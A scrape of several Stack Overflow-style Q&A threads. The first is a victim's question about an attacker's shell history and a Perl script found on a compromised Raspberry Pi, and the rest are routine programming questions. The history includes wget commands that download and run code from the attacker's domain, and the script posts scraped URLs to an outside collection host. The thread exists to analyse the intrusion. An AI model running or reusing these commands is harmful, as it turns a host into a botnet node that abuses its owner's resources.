答:
This is not an answer but merely an overlong comment about the observations I made.

When I issue the wget ... -O word commands, it works for me and I receive two files full of words. Looks like a list of random words, maybe passwords for a brute-force attack:

first file: (excerpt)

```<code>kalcio
kalciolaria
kalciolariaconia2
kalciov
kalcistn
kalcit
kalcit
kalcita
...
</code>```

second file: (excerpt)

```<code>curious2s
curious2saab95
curious2:saab95
curious2see
curious2see
curious2squeak2
curious2swingineverton
Curious2tender
curious2tryany2asdfg
CURIOUS2TRYIT
curious2trythre092703
...
</code>```

The Perl script bing is written by someone who's not familiar with Perl. He uses beginner's style from bad tutorials and/or obviously doesn't know the language very well.

Because he issued su clay he might know that such a user (presumably your user) even exists on that machine, without examining /etc/passwd or similar.

As @borodin and @melpomene say, the script searches bing for these words and then parses the resulting bing-page for URLs and then submits them to post.silverlords.org.

As the script currently is, it only abuses your computer's CPU and network to get its work done. The "work" is to massively submit Bing searches for all the words and collect the results at post.silverlords.org.

Title: After securing my webserver (rpi) from foreign ssh logins, I found this perl script on my computer. Can someone tell me what it does?

Body:
There was an account named "user" that would be used for these logins, which would be from all over the world. I spent several hours yesterday securing the computer and there have been no logins since that time.  I awked the /var/log/auth.log into a list of ips ordered from oldest to most recent login, if that somehow helps:

    185.145.252.26
    185.145.252.36
    109.236.83.3
    104.167.2.4
    217.23.13.125
    185.38.148.238
    194.88.106.146
    43.225.107.70
    194.88.107.163
    192.162.101.217
    62.112.11.88
    194.63.141.141
    194.88.107.162
    74.222.19.247
    194.88.107.164
    178.137.184.237
    167.114.210.108
    5.196.76.41
    118.70.72.25
    109.236.91.85
    62.112.11.222
    91.195.103.172
    62.112.11.94
    62.112.11.90
    188.27.75.73
    194.88.106.197
    194.88.107.165
    38.84.132.236
    91.197.235.11
    62.112.11.79
    62.112.11.223
    144.76.112.21
    185.8.7.144
    91.230.47.91
    91.230.47.92
    91.195.103.189
    91.230.47.89
    91.230.47.90
    109.236.89.72
    195.228.11.82
    109.236.92.184
    46.175.121.38
    94.177.190.188
    171.251.76.179
    173.212.230.79
    144.217.75.30
    5.141.202.235
    31.207.47.36
    62.112.11.86
    217.23.2.183
    217.23.1.87
    154.122.98.44
    41.47.42.128
    41.242.137.33
    171.232.175.131
    41.114.123.190
    1.54.115.72
    108.170.8.185
    86.121.85.122
    91.197.232.103
    160.0.224.69
    217.23.2.77
    212.83.171.102
    41.145.17.243
    62.112.11.81
    82.79.252.36
    41.114.63.134
    5.56.133.126
    109.120.131.106
    76.68.108.151
    113.20.108.27
    46.246.61.20
    146.185.28.52
    45.32.219.199

One of the first things I did after changing the password of the "user" account was running history, which gave me this result:

1  sudo
2  sudo
3  sudo service vsftpd stop
4  su clay
5  unset PROMPT_COMMAND
6  PS1='[PEXPECT]\$'
7  wget http://xpl.silverlords.org/bing -O bing
8  wget http://www.silverlords.org/wordlist/xaaaaaaaaqb.txt -O word ; perl bing word
9  wget http://www.silverlords.org/wordlist/xaaaaaaaaiv.txt -O word ; perl bing word
10  uname
11  n
12  uname
13  history

I then ran cat /home/user/.bash_history for more but what I already had was all that was in the file.

In "user"'s home folder, I found four files, bing,  output.13.19.27.txt , output.16.10.38.txt, and  word.  All were empty except bing, which was a perl script:

#!/usr/bin/perl
use strict;
use LWP::UserAgent;
use LWP::Simple;
use POSIX qw(strftime);
my $data = strftime "%H.%M.%S", gmtime;

my $ARGC = @ARGV;
if ($ARGC !=1) {
        printf "$0 arquivo.txt\n";
        printf "Coded by: Al3xG0 x@~\n";
        exit(1);
}
my $st = rand();
my $filename = $ARGV[0];
print "Input Filename - $filename\n";

my $max_results = 2;

open (IFH, "< $filename") or die $!;
open (OFH, "> output.${data}.txt") or die $!;

while (<IFH>) {
        next if /^ *$/;
        my $search_word = $_;
        $search_word =~ s/\n//;
        print "Results for -$search_word-\n";
        for (my $i = 0; $i < $max_results; $i += 10) {
                my $b = LWP::UserAgent->new(agent => 'Mozilla/4.8 [en] (Windows NT 6.0; U)');
                $b->timeout(30); $b->env_proxy;
                my $c = $b->get('http://www.bing.com/search?q=' . $search_word . '&first=' . $i . '&FORM=PERE')->content;
                my $check = index($c, 'sb_pagN');
                if ($check == -1) { last; }
                while (1) {
                        my $n = index($c, '
<a href="');
                        if ($n == -1) { last; }
                        $c = substr($c, $n + 13);
                        my $s = substr($c, 0, index($c, '"'));
                        my $save = undef;
                        if ($s =~ /http:\/\/([^\/]+)\//g) { $save = $s; }
                        print "$save\n";
                        #if ($save !~ /^ *$/) { print OFH "$save\n"; print "$save\n"};
                        getprint("http://post.silverlords.org/sites.php?site=$save");
                }
        }
        print "\n";
}
close (IFH);
close (OFH);

I don't know perl, and after spending so much time with sshd config, blacklists, etc., I don't really have the time or energy to learn.  If anyone could tell me what the script does and/or what the attackers were trying to do that would be great.

Thanks so much,

Clay

EDIT: I found this article that could explain the purpose of the bing search script: https://www.wired.com/2013/02/microsoft-bing-fights-botnets/

Body:
This is not an answer but merely an overlong comment about the observations I made.

When I issue the wget ... -O word commands, it works for me and I receive two files full of words. Looks like a list of random words, maybe passwords for a brute-force attack:

first file: (excerpt)

kalcio
kalciolaria
kalciolariaconia2
kalciov
kalcistn
kalcit
kalcit
kalcita
...

second file: (excerpt)

curious2s
curious2saab95
curious2:saab95
curious2see
curious2see
curious2squeak2
curious2swingineverton
Curious2tender
curious2tryany2asdfg
CURIOUS2TRYIT
curious2trythre092703
...

The Perl script bing is written by someone who's not familiar with Perl. He uses beginner's style from bad tutorials and/or obviously doesn't know the language very well.

Because he issued su clay he might know that such a user (presumably your user) even exists on that machine, without examining /etc/passwd or similar.

As @borodin and @melpomene say, the script searches bing for these words and then parses the resulting bing-page for URLs and then submits them to post.silverlords.org.

As the script currently is, it only abuses your computer's CPU and network to get its work done. The "work" is to massively submit Bing searches for all the words and collect the results at post.silverlords.org.


来源: stackexchange

问:
How to test log content with RSpec?
For example, it generated a log(my_work.log) content as:

```<code>I, [2015-05-14T00:00:00.000000 #5590]  INFO -- : Work started.
</code>```

I want to test if my_work.log has content Work started., how to do?

I don't want to match all line include datetime, because that contains #5590, I can't stub it.

答:
With RSpec's output matcher (introduced in 3.0) you can do the following:

```<code>expect { my_method }.to output("my message").to_stdout
expect { my_method }.to output("my error").to_stderr
</code>```

In case of libraries such as Logger or Logging you may have to use output.to_<stdout/stderr>_from_any_process.

It's simple, clean and will test whether your messages actually reach the output.

ContentLicense: CC BY-SA 3.0

Title: How to test log content with RSpec?

Body:
For example, it generated a log(my_work.log) content as:

I, [2015-05-14T00:00:00.000000 #5590]  INFO -- : Work started.

I want to test if my_work.log has content Work started., how to do?

I don't want to match all line include datetime, because that contains #5590, I can't stub it.

Body:
With RSpec's output matcher (introduced in 3.0) you can do the following:

expect { my_method }.to output("my message").to_stdout
expect { my_method }.to output("my error").to_stderr

In case of libraries such as Logger or Logging you may have to use output.to_<stdout/stderr>_from_any_process.

It's simple, clean and will test whether your messages actually reach the output.


问:
Azure Web App deployment slots with database migration
I'm currently running a webApp with several deployment slots (e.g. dev, staging, production). Every Slot is connected to a database (db_dev, db_staging, db_production). I want to deploy to the staging slot and then switch with production. How do database migrations fit in here?

I mean, if i deploy a new build with db migrations to staging the db_staging gets updated. What happens if I switch the slots? Do the migrations get applied to db_production? What about downtimes?

From my understanding only the URLs are switched, so after the switch the app in the staging slot would point to the db_production? That does not make sense.

I could deploy to the staging slot and point to db_production (with migrations), but then the db would be updated and could possibly break the app in the live slot.

答:
I have been pondering this too, and as far as I can see the only sensible process is as follows:

Stop Prelive stites

Clone live DB back to a new staging DB

Run scripts to make data safe (clear information which may contact real users etc)

Change staging slot sticky connection string to point at this database

Run DBUP aganst staging DB (now an upgraded version of live-ish)

Deploy to staging slot

Restart prelive sites

Test staging until satisfied

Backup live DB

Run DBUP against live (if they are non-breaking changes, site can
stay up)

Swap live and prelive slots

Check live

If you can keep your db updates non-breaking, then rollback can be simple as swapping the slots back. If not, you are back in the familiar pain of rollback scripts or restoring snapshots.


问:
Attempting to add a delay to a Jquery dropdown for a navigation menu
I am attempting to add a delay to this Jquery dropdown. I have tried to use the setTimeout function but this doesn't appear to be working.

I don't know why this isn't working as the delay doesn't happen when I hover over the menu and the submenu drops down immediately. How can I get this to work?

Edit: I'll have to clarify specifically what i want to do. I have a Menu with some submenus. When I hover over the Menu Item, for example 'About', I want a brief delay of 3 seconds before the submenu slides out. Currently, It slides out immediately and this creates an unwanted effect when I quickly move from one Menu item to another. For example, if I move from About to Fees, it shows both submenus at the same time.  Basically this is what is happening when I scroll over the menu Items very quickly

https://i.imgur.com/Nv554m9.png

I'm new to Jquery and Javascript and web programming in general, so although I've gone through several similar questions on StackOverFlow, they don't seem to solve my problem. Any assistance will be appreciated.

```<code><script type="text/javascript">

  $(document).ready(setTimeout(function() {

      $( '.dropdown' ).hover(
        function(){
            $(this).children('.dropdown-content').slideDown(200);
        },
        function(){
        $(this).children('.dropdown-content').slideUp(0);
      }
    );
 }), 3000);
 </script>
</code>```

EDIT:

This is the HTML of the Menu

```<code><ul id="menu">

    <li><a href="index.php"> Home </a></li>
    <li class="dropdown" >
        <a href="about.php" class="dropbtn">About</a>
        <div class = "dropdown-content">
            <a href="background.php">Background And History</a>
            <a href="vision.php">Vision And Mission</a>
            <a href="principalmessage.php">Message From the Principal</a>
            <a href="directormessage.php">Message from the Director</a>
            <a href="governance.php">Governance</a>
        </div>
    </li>
    <li class="dropdown">
        <a href="admission_fees.php" class="dropbtn">Fees</a>
        <div class="dropdown-content">
            <a href="primaryfees.php">Primary Fees</a>
            <a href="secondaryfees.php">Secondary Fees</a>
            <a href="admissionform.php">Admission forms</a>
            <a href="feepolicy.php">Fee Policy</a>
        </div>
    </li>
    <li class="dropdown">
        <a href="academics.php" class="dropbtn">Academics</a>
        <div class="dropdown-content">
            <a href="primary.php">Primary Curriculum</a>
            <a href="lowersecondary.php">Lower Secondary Curriculum</a>
            <a href="uppersecondary.php">Upper Secondary Curriculum</a>
            <a href="library_ICT.php">Library and ICT Labs</a>
            <a href="staff.php">Staff</a>
        </div>
    </li>
    <li class="dropdown">
        <a href=" school_life.php" class="dropbtn"> School&nbspLife </a>
        <div class="dropdown-content">
            <a href="boarding.php">Boarding School</a>
            <div class="subdropdown">
                <a href="extracurricular.php">Extra Curricular Activities</a>
                    <div class="subsubmenu">
                        <a href="sports.php">Sports</a>
                        <a href="clubs.php">Clubs</a>
                        <a href="entertainment.php">Entertainment</a>
                    </div>
            </div>
            <div class="subdropdown">
            <a href="students.php">Students</a>
                <div class="subsubmenu">
                    <a href="studentgovernance.php">Governance</a>
                    <a href="schoolrules.php">Code of Conduct</a>
                    <a href="alumni.php">Alumni</a>
                </div>
            </div>

            <a href="fieldtrips.php">Field Trips</a>
        </div>
    </li>
    <li>
        <a href=" events.php "> Events </a>
    </li>
    <li class="dropdown">
        <a href=" news.php "> News </a>
        <div class="dropdown-content">
            <a href="notices.php">Notices for Parents</a>
            <a href="jobs.php">Jobs</a>

        </div>
    </li>

    <li class="dropdown">
        <a href=" gallery.php "> Gallery </a>
        <div class="dropdown-content">
            <a href="gallery_sports.php">Sports</a>
            <a href="gallery_entertainment.php">Entertainment</a>
            <a href="gallery_facilities.php">Facilities</a>
        </div>
    </li>
    <li class="dropdown">
        <a href=" contact.php "> Contact </a>
        <div class="dropdown-content">
            <a href="faq.php">FAQ</a>
        </div>
    </li>
    <!--<li><a href="javascript:void(0);" style="font-size:20px;" class="icon" onclick="myFunction()">☰</a></li> -->
</ul>
</code>```

And the CSS

```<code>/*NAVIGATION SECTION*/

  nav {
    margin: 0px;

}

/*Sets the nav bar in a horizontal manner. Hides the pointers for the list and ensures there's no scroll bar*/
nav ul {
    display: flex;
    flex-direction:row;
    margin: 0;
    padding: 0;
    list-style-type: none;
    overflow: hidden;
    border-top: 1px solid #670000;

}

/*Styles each of the individual items in the nav bar list. Adds color and changes their font. Adds a border at the end*/
nav ul li {
    flex-grow: 1;
    font-family: Constantia,"Lucida Bright",Lucidabright,"Lucida Serif",Lucida,"DejaVu Serif","Bitstream Vera Serif","Liberation Serif",Georgia,serif;
    font-size: 15px;
    font-weight: bolder;
    padding: 0;
}

/*Determines how the links inside the navbar will be displayed.Gives them a background color*/
nav ul li a {
    display: block;
    background: #800000;
    height: 40px;
    text-align:center;
    padding: 7px 10px;
    text-transform: uppercase;
    -webkit-transition:  0.45s;
    transition: 0.45s;

}
/*Shows how unvisited links will look*/
nav ul li a:link{
    text-decoration: none;
    color: whitesmoke;
}

/*Changes the color inside visited links*/
nav ul li a:visited {
    color: whitesmoke;
    margin-left: 60px;
    height: 40px;
}
/*Determines what happens when you hover a link*/
 nav ul li a:hover{
    color: black;
    background-color: white;
}

/*Shows what happens a link is active (page you are currently on)*/
nav ul li a.active {
    background-color: indianred;
    color: white;
}

/*Styles what happens when you hover an active link on an active page*/
nav ul li a.active:hover {
    background-color: #990000;
    color: white;
}

/*Dropdown stuff*/
.dropdown-content {
    display: none;
    position: absolute;
    color: black;
    min-width: 160px;
    border-bottom: 0.5px solid deepskyblue;
    box-shadow: 0px 8px 16px 0px rgba(0,0,0,0.2);
    z-index: 1;
}

.subsubmenu {
    display: none;
    position: absolute;
    left: 223px;
    top: 25%;
    color:black;
    min-width: 160px;
    box-shadow: 0px 8px 16px 0px rgba(0,0,0,0.2);
    z-index: 1;
}
 ul li .dropdown-content a:link{
    text-decoration: none;
    color: whitesmoke;
}

 ul li .subsubmenu a:link{
    text-decoration: none;
    color: black;
}

/*Changes the color inside visited links*/
 ul li .dropdown-content a:visited {
    color: whitesmoke;
    margin-left: 60px;
    height: 40px;
}

 ul li .subsubmenu a:visited {
    color: black;
    margin-left: 60px;
    height: 40px;
}

.dropdown-content a {

    padding: 12px 16px;
    text-decoration: none;
    display: block;
    text-align: left;
    font-size: 12px;
    background-color: black;
}

.subsubmenu a{
     padding: 12px 16px;
    text-decoration: none;
    display: block;
    text-align: left;
    font-size: 12px;
    background-color: #f9f9f9;
}
.dropdown-content a:hover {

    background-color: #990000;

}

.subsubmenu a:hover {

    background-color: #990000;

}

/*
.dropdown:hover .dropdown-content {
    display: block;
    color: whitesmoke;
} */

.subdropdown:hover .subsubmenu {
    display: block;
    color: whitesmoke;
}
</code>```

答:
if you are trying delay after simple page load and without any other event call then pull out your slidedown statement from settimeout

```<code><script type="text/javascript">

  $(document).ready(function(){
    setTimeout(function(){
       $('dropdown').children('.dropdown-content').slideDown(200);
}, 3000)
      });
 </script>
</code>```

However if you want on hover then settimeout should be called on hover.

```<code> $(function(){
    function hoverMe(){
        $('dropdown').children('.dropdown-content').slideDown(200);
    }

    $(".dropdown").on('hover', function(){
        setTimeout(hoverMe, 100);
    })
 })
</code>```

Also jquery.ready function takes a function definition but you are calling setimeout there instead you should wrap your setimeout in a anonymous function

Body:
I am attempting to add a delay to this Jquery dropdown. I have tried to use the setTimeout function but this doesn't appear to be working.

I don't know why this isn't working as the delay doesn't happen when I hover over the menu and the submenu drops down immediately. How can I get this to work?

Edit: I'll have to clarify specifically what i want to do. I have a Menu with some submenus. When I hover over the Menu Item, for example 'About', I want a brief delay of 3 seconds before the submenu slides out. Currently, It slides out immediately and this creates an unwanted effect when I quickly move from one Menu item to another. For example, if I move from About to Fees, it shows both submenus at the same time.  Basically this is what is happening when I scroll over the menu Items very quickly

https://i.imgur.com/Nv554m9.png

I'm new to Jquery and Javascript and web programming in general, so although I've gone through several similar questions on StackOverFlow, they don't seem to solve my problem. Any assistance will be appreciated.

EDIT:

This is the HTML of the Menu

 Home

        About

            Background And History
            Vision And Mission
            Message From the Principal
            Message from the Director
            Governance

        Fees

            Primary Fees
            Secondary Fees
            Admission forms
            Fee Policy

        Academics

            Primary Curriculum
            Lower Secondary Curriculum
            Upper Secondary Curriculum
            Library and ICT Labs
            Staff

         School&nbspLife

            Boarding School

                Extra Curricular Activities

                        Sports
                        Clubs
                        Entertainment

            Students

                    Governance
                    Code of Conduct
                    Alumni

            Field Trips

         Events

         News

            Notices for Parents
            Jobs

         Gallery

            Sports
            Entertainment
            Facilities

         Contact

            FAQ

And the CSS

/*NAVIGATION SECTION*/

  nav {
    margin: 0px;

}

/*Sets the nav bar in a horizontal manner. Hides the pointers for the list and ensures there's no scroll bar*/
nav ul {
    display: flex;
    flex-direction:row;
    margin: 0;
    padding: 0;
    list-style-type: none;
    overflow: hidden;
    border-top: 1px solid #670000;

}

/*Styles each of the individual items in the nav bar list. Adds color and changes their font. Adds a border at the end*/
nav ul li {
    flex-grow: 1;
    font-family: Constantia,"Lucida Bright",Lucidabright,"Lucida Serif",Lucida,"DejaVu Serif","Bitstream Vera Serif","Liberation Serif",Georgia,serif;
    font-size: 15px;
    font-weight: bolder;
    padding: 0;
}

/*Determines how the links inside the navbar will be displayed.Gives them a background color*/
nav ul li a {
    display: block;
    background: #800000;
    height: 40px;
    text-align:center;
    padding: 7px 10px;
    text-transform: uppercase;
    -webkit-transition:  0.45s;
    transition: 0.45s;

}
/*Shows how unvisited links will look*/
nav ul li a:link{
    text-decoration: none;
    color: whitesmoke;
}

/*Changes the color inside visited links*/
nav ul li a:visited {
    color: whitesmoke;
    margin-left: 60px;
    height: 40px;
}
/*Determines what happens when you hover a link*/
 nav ul li a:hover{
    color: black;
    background-color: white;
}

/*Shows what happens a link is active (page you are currently on)*/
nav ul li a.active {
    background-color: indianred;
    color: white;
}

/*Styles what happens when you hover an active link on an active page*/
nav ul li a.active:hover {
    background-color: #990000;
    color: white;
}

/*Dropdown stuff*/
.dropdown-content {
    display: none;
    position: absolute;
    color: black;
    min-width: 160px;
    border-bottom: 0.5px solid deepskyblue;
    box-shadow: 0px 8px 16px 0px rgba(0,0,0,0.2);
    z-index: 1;
}

.subsubmenu {
    display: none;
    position: absolute;
    left: 223px;
    top: 25%;
    color:black;
    min-width: 160px;
    box-shadow: 0px 8px 16px 0px rgba(0,0,0,0.2);
    z-index: 1;
}
 ul li .dropdown-content a:link{
    text-decoration: none;
    color: whitesmoke;
}

 ul li .subsubmenu a:link{
    text-decoration: none;
    color: black;
}

/*Changes the color inside visited links*/
 ul li .dropdown-content a:visited {
    color: whitesmoke;
    margin-left: 60px;
    height: 40px;
}

 ul li .subsubmenu a:visited {
    color: black;
    margin-left: 60px;
    height: 40px;
}

.dropdown-content a {

    padding: 12px 16px;
    text-decoration: none;
    display: block;
    text-align: left;
    font-size: 12px;
    background-color: black;
}

.subsubmenu a{
     padding: 12px 16px;
    text-decoration: none;
    display: block;
    text-align: left;
    font-size: 12px;
    background-color: #f9f9f9;
}
.dropdown-content a:hover {

    background-color: #990000;

}

.subsubmenu a:hover {

    background-color: #990000;

}

/*
.dropdown:hover .dropdown-content {
    display: block;
    color: whitesmoke;
} */

.subdropdown:hover .subsubmenu {
    display: block;
    color: whitesmoke;
}

Body:
if you are trying delay after simple page load and without any other event call then pull out your slidedown statement from settimeout

<script type="text/javascript">

  $(document).ready(function(){
    setTimeout(function(){
       $('dropdown').children('.dropdown-content').slideDown(200);
}, 3000)
      });
 </script>

However if you want on hover then settimeout should be called on hover.

 $(function(){
    function hoverMe(){
        $('dropdown').children('.dropdown-content').slideDown(200);
    }

    $(".dropdown").on('hover', function(){
        setTimeout(hoverMe, 100);
    })
 })

Also jquery.ready function takes a function definition but you are calling setimeout there instead you should wrap your setimeout in a anonymous function


问:
How to capture substring/word having a certain pattern from a string in perl?
```<code>open(LOGFILE,"<sim_success.log") or die("could not open file");
while (<LOGFILE>){
$line = $_;
chomp($line);
my @design = grep (/Design:/, $line);
push (@final, @design);
}
print $final[0];

close LOGFILE;
</code>```

Design: D:\Test\Example\Example1_wrk....

How to save "Example_wrk" in a var in perl?

答:
This is a wild guess. I think what you want is to capture the filename from that line of log file.

```<code>use strict;
use warnings;

my @final;
open my $fh, '<', 'sim_success.log' or die "could not open file: $!";
while (my $line = <$fh>) {
    chomp $line;
    if ( $line =~ m/Design: (.+)$/ ) {
        push @final, $1;
    }
}
print $final[0]; # will print only the first one
close $fh;
</code>```

Let's see what I did. A lot of this has been explained in melpomene's comments on the question already. I'll reiterate some of them.

always use strict and use warnings! They help you to spot errors.

grep does not do what you think. It's for finding things in a list that match a condition. Your list only had one item. The line.

you can use the m// operator directly.

but you need a capture group (), that captures everything

and the captured stuff will be in $1, which we can push to the array

When the program is done, the array @final might contain one or more matches. If more than one line matches, there are more entries in the array.

Body:
open(LOGFILE,"<sim_success.log") or die("could not open file");
while (<LOGFILE>){
$line = $_;
chomp($line);
my @design = grep (/Design:/, $line);
push (@final, @design);
}
print $final[0];

close LOGFILE;

Design: D:\Test\Example\Example1_wrk....

How to save "Example_wrk" in a var in perl?

Body:
This is a wild guess. I think what you want is to capture the filename from that line of log file.

use strict;
use warnings;

my @final;
open my $fh, '<', 'sim_success.log' or die "could not open file: $!";
while (my $line = <$fh>) {
    chomp $line;
    if ( $line =~ m/Design: (.+)$/ ) {
        push @final, $1;
    }
}
print $final[0]; # will print only the first one
close $fh;

Let's see what I did. A lot of this has been explained in melpomene's comments on the question already. I'll reiterate some of them.

always use strict and use warnings! They help you to spot errors.

grep does not do what you think. It's for finding things in a list that match a condition. Your list only had one item. The line.

you can use the m// operator directly.

but you need a capture group (), that captures everything

and the captured stuff will be in $1, which we can push to the array

When the program is done, the array @final might contain one or more matches. If more than one line matches, there are more entries in the array.


问:
Array only being updated on first iteration of a for loop
The following code takes an array of objects structured like so: {html:whatever number:number value}.

```<code>function Org(data){
//array of objects
var Data=data;
for(var i=0; i<Data.length; i++){
  var nums=[];
  nums.push(Data[i].number);
console.log(nums);}
}
</code>```

Nums should have be logged to the console as [1,1] on the second iteration when called with: [{html:null,number:1},{html:null,number:1}] but instead is logged as [1] on both the first and second iterations. Why might this be?

答:
Or shorter:</p>

```<code>var Org=data=>console.log(data.map(e=>e.number));
</code>```

Body:
The following code takes an array of objects structured like so: {html:whatever number:number value}.

function Org(data){
//array of objects
var Data=data;
for(var i=0; i<Data.length; i++){
  var nums=[];
  nums.push(Data[i].number);
console.log(nums);}
}

Nums should have be logged to the console as [1,1] on the second iteration when called with: [{html:null,number:1},{html:null,number:1}] but instead is logged as [1] on both the first and second iterations. Why might this be?

Body:
Or shorter:

var Org=data=>console.log(data.map(e=>e.number));


问:
What's a good way to bind from a shared utility window and the frontmost document window?
I have an application which allows for multiple NSDocuments to be open.  In this application is a single utility window that contains some functionality that I want to apply to the frontmost document.

I am trying to use bindings here, so the trick is how to cleanly bind the user interface of the utility window to the frontmost document.  The goal is that then switching the frontmost document window will update the view in the utility window; controls that are bound to properties of the frontmost document's model would be updated appropriately when state changes in the document's model, etc.

For sending actions from such a window, it's easy to just use first responder; the document object can intercept actions via the responder chain.  But I want more than this, and of course you can't bind to the first responder.

A few ideas that I have:

put an object controller in my nib for the shared window.  When a document window changes frontmost status, change the content of that binding. A disadvantage of this is that if I were to have another kind of utility window, I'd have to remember to hook up the bindings from the document window to that utility window too!

Make an accessor in the application delegate that gets the frontmost document window by traversing the window list.  My utility window would just bind through the application delegate's method.  A disadvantage here is that it's not KVO compliant

Have a getter and setter in the application delegate to determine (and perhaps set to be KVO-compliant? would that make sense?) the frontmost document. Perhaps use window notifications set an ivar to the appropriate value when a window loses main status. Update: I'm using this for now, and it actually seems pretty clean.  I set the value from the windowDidBecomeMain notification of my doc window and clear it (if it's the current value) in windowWillClose.  Unless there is any major objection, this is probably the approach I'll use.

One idea was to bind to mainWindow.windowController.document ... this comes close, except that when my shared window becomes main, then this binding goes away. So really I need to find the frontmost document window's controller (and of the right class).

None of these seem quite right. Is there a better way to do this that I'm missing?

答: Use the key window, not the main window. KVO might not be supported for NSApplication's keyWindow property, but you can still use NSNotifications if it doesn't work. The reason for this is that NSDocumentController's currentDocument uses the keyWindow, so it better represents the built in functionality. Also, panels can be set to avoid becoming key window.</p>

OwnerDisplayName: danwood

ContentLicense: CC BY-SA 2.5

LastEditorDisplayName: Chris Hanson


问:
When the browser announces JavaScript codes time execution?
Sometimes when I load my website, this message appears in the console:

Why is this shown? Aren't my JS code optimized enough? And what should I do now?

答:
You can read all about it here.

Violation Long running JavaScript task took xx ms

See the answers to get to know what it is and why the warning shows up.

To trace the cause, I would recommend you employ Binary search technique and keep dividing your java-script code and commenting them till you get to the line/lines which are causing this problem.


问:
Throwing Exceptions from Exception class in java
Ok ... So I am learning about exceptions in java and i am currently at throw statements. I throw an exception of Exception class, and then re-throw it from the catch block again to handle it in the main function. But whenever i throw it as Exception class, i always get an Error in the catch block(where i re-throw it to be handled in main).But as soon as i change the thrown and caught Exceptions to some particular Exceptions like NullPointerException, it works!

Error Code:

```<code>class ThrowingExceptions {
    static boolean enable3dRendering = false;

     public static void main(String [] com) {

        try {
            renderWorld();
        }
        catch(Exception e) {
            System.out.println("Rendering in 2d.");
        }
     }

    static void renderWorld() {
       try{
           if(!enable3dRendering) {
                System.out.println("3d rendering is disabled. Enable 3d mode to render.");
                throw new Exception("3d mode Disabled.");
           }
           else {
                System.out.println("The World is Empty!");
           }
       }
       catch(Exception e) {
           System.out.println("Please handle the error");
           throw e; // It gives me an error here
       }
    }
}
</code>```

Working Code:

```<code>class ThrowingExceptions {
    static boolean enable3dRendering = false;

     public static void main(String [] com) {

        try {
            renderWorld();
        }
        catch(NullPointerException e) {
            System.out.println("Rendering in 2d.");
        }
     }

    static void renderWorld() {
       try{
           if(!enable3dRendering) {
                System.out.println("3d rendering is disabled. Enable 3d mode to render.");
                throw new NullPointerException("3d mode Disabled.");
           }
           else {
                System.out.println("The World is Empty!");
           }
       }
       catch(NullPointerException e) {
           System.out.println("Please handle the error");
           throw e;
       }
    }
}
</code>```

Why doesn't it work with Exception class and worked with its subclass??

Note :-  The error i get in the error code is Unhandled exception type Exception

答:
Changing

```<code>static void renderWorld() { ... }
</code>```

to

```<code>static void renderWorld() throws Exception { ... }
</code>```

should fix this. This is for the reason that runtime exception are unchecked exceptions.

Would recommend you to read about the Checked and Unchecked exception in details here -  Java: checked vs unchecked exception explanation.

Body:
Ok ... So I am learning about exceptions in java and i am currently at throw statements. I throw an exception of Exception class, and then re-throw it from the catch block again to handle it in the main function. But whenever i throw it as Exception class, i always get an Error in the catch block(where i re-throw it to be handled in main).But as soon as i change the thrown and caught Exceptions to some particular Exceptions like NullPointerException, it works!

Error Code:

class ThrowingExceptions {
    static boolean enable3dRendering = false;

     public static void main(String [] com) {

        try {
            renderWorld();
        }
        catch(Exception e) {
            System.out.println("Rendering in 2d.");
        }
     }

    static void renderWorld() {
       try{
           if(!enable3dRendering) {
                System.out.println("3d rendering is disabled. Enable 3d mode to render.");
                throw new Exception("3d mode Disabled.");
           }
           else {
                System.out.println("The World is Empty!");
           }
       }
       catch(Exception e) {
           System.out.println("Please handle the error");
           throw e; // It gives me an error here
       }
    }
}

Working Code:

class ThrowingExceptions {
    static boolean enable3dRendering = false;

     public static void main(String [] com) {

        try {
            renderWorld();
        }
        catch(NullPointerException e) {
            System.out.println("Rendering in 2d.");
        }
     }

    static void renderWorld() {
       try{
           if(!enable3dRendering) {
                System.out.println("3d rendering is disabled. Enable 3d mode to render.");
                throw new NullPointerException("3d mode Disabled.");
           }
           else {
                System.out.println("The World is Empty!");
           }
       }
       catch(NullPointerException e) {
           System.out.println("Please handle the error");
           throw e;
       }
    }
}

Why doesn't it work with Exception class and worked with its subclass??

Note :-  The error i get in the error code is Unhandled exception type Exception

Body:
Changing

static void renderWorld() { ... }

to

static void renderWorld() throws Exception { ... }

should fix this. This is for the reason that runtime exception are unchecked exceptions.

Would recommend you to read about the Checked and Unchecked exception in details here -  Java: checked vs unchecked exception explanation.


问:
How to disable cache in Vapor?
The changes I make to the leaf templates are not being shown in the browser. I think it's because Vapor is caching the template. How do I disable caching?</p>

答:
In Vapor 2:

```<code>drop.view.shouldCache = false
</code>```

For Vapor 1:

```<code>(drop.view as? LeafRenderer)?.stem.cache = nil
</code>```

Title: How to disable cache in Vapor?

Body:
In Vapor 2:

drop.view.shouldCache = false

For Vapor 1:

(drop.view as? LeafRenderer)?.stem.cache = nil


问:
node http requests not executed concurrently if made from same browser
```<code>var http = require('http');
http.createServer(function (req, res) {
    setTimeout(function () {
        res.write("hello");
        res.end();
    }, 10000);
}).listen(8080);
</code>```

this is my simple node server running on localhost.

Now if i hit this url  localhost:8080  from two different browsers simultaneously, i get response at same time on both browsers i.e after around 10 secs.
But on other hand when i do so from two different tabs of chrome browser, it takes 10 secs for one tab and another 10 secs for 2nd tab.

Seems like requests are being processed one after another rather than simultaneously.

can somebody explain?

答:
It's a know browser issue, only happens when you make two requests in the same browser (or browser profile) and separate tabs (XHR requests can actually be done simultaneously).

Sources:

Chrome stalls when making multiple requests to same resource?
Multiple instances of PHP script won't load concurrently in the same browser from the same URL

Body:
var http = require('http');
http.createServer(function (req, res) {
    setTimeout(function () {
        res.write("hello");
        res.end();
    }, 10000);
}).listen(8080);

this is my simple node server running on localhost.

Now if i hit this url  localhost:8080  from two different browsers simultaneously, i get response at same time on both browsers i.e after around 10 secs.
But on other hand when i do so from two different tabs of chrome browser, it takes 10 secs for one tab and another 10 secs for 2nd tab.

Seems like requests are being processed one after another rather than simultaneously.

can somebody explain?


问:
PHP variable appended by arbitrarily issuing variable name
I don't know if this is good place to ask such a questions, but I want to understand how PHP variables work. As we all know that we can add a variable to another variable like this:

```<code>$abc = "Some Text"
$ab_apnd = "{$abc} missing*";
echo $ab_apnd;
</code>```

Then this will show output like:

Some Text missing*

But the question here is when I pass the same text over $_POST it doesn't work.

```<code># $_POST['abc'] = "{$abc}" // through a form not from php code //
$abc = "Some Text";
$ab_apnd = $_POST['abc'] . " missing*";
echo $ab_apnd;
</code>```

Now this will show an output like this:

{abc} missing*;

I will be thankful if you teach me why this happens! Thank you.

答:
why make this so complicated:</p>

```<code><?php
  $_POST['abc']= "some text";
